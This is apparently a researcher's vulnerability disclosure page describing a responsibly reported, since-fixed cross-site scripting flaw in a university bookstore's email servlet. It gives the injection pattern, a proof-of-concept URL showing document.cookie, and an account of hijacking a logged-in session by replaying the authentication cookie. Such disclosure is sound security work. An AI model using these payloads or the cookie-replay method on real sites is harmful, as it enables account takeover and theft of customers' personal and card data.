|
|
|
This page contains a list of vulnerabilities that I have identified and/or researched since March of 2006. All bugs were reported responsibly and fixed prior to disclosure on this web site. The target institution or product is confidential in some reports and available in others. The icons on this page are taken from the MINIMALIZM v1.0 icon set by (Razor99).
There is a cross-site scripting vulnerability in a University's online book store, which if exploited, would permit cookie theft. If an attacker obtains a legitimate user's cookie, he could then log in as that user and have access to billing address, shipping address, phone numbers, emails, and depending on the stage of check-out process - credit card numbers and CVV2s. In particular, this vulnerability exists because the "email" variable in the "SendUsEmailView" servlet is not filtered for input. https://www.fakeuniv.com/webapp/wcs/stores/servlet/SendUsEmailView?\ email=comments%40fakeuniv.com&langId=-1&catalogId=10&storeId=43 Unlike the (first XSS), the email value is not printed back to the page in plain view. Instead, it is just used to fill in the value of a hidden field. [form name="sendMsgForm" method="post" action=""] ... [input type="hidden" name="recipient" value="comments@fakeuniv.com"/] All we need to do in order to exploit this XSS vulnerability is supply a value for email that ends with a double quote, forward slash, and greater than character ("/>); then follow with our desired code for the client browser to execute. When the server writes the supplied data, the double quote terminates the value field and forward slash/greater than combination terminates the input tag. Now script tags, or any others can be inserted into the page. The following sample URL and screen shot show this in action. The JSESSIONID is unique to a client browser, but means nothing for authentication. The WC_AUTHENTICATION cookie is only obtained by a client after s/he successfully logs in. This is the cookie an attacker would want to capture. http://www.fakeuniv.com/webapp/wcs/stores/servlet/SendUsEmailView?\ email=comments%40fakeuniv.com%22/%3E%3Cscript%3Ealert(document.cookie);\ %3C/script%3E&langId=-1&catalogId=10&storeId=43  In other words: /SendUsEmailView?email=[email]"/>[xss-code] This shows that the application is vulnerable to XSS, but not that anything useful (attack-wise) can be done with this knowledge. However, since the book store uses cookies to retain state on it's visitors, the obvious exploit would start with an attacker crafting a URL that contains code to capture the cookie. This is rather simple process as shown in the (first XSS) write-up. The only drawback is that the legitimate user must be logged in to the book store at the time s/he clicks the attacker-supplied URL. This technique was verified by logging into the online book store after creating a free account. The WS_AUTHENTICATION cookie value(s) was then extracted and added to a second machine at a different IP address using the Firefox AnEC Cookie Editor plug-in. Once the University's book store page was opened in the second machine's browser, I was already logged in. One strength employed by the book store is that the cookies expire with each session (as opposed to a period of time in days or weeks). Therefore, even if an attacker obtains a cookie while a legitimate user is logged in, he only has until the user completes the session or closes the browser. This leaves a very small window of time that sensitive information can be gathered. |
|
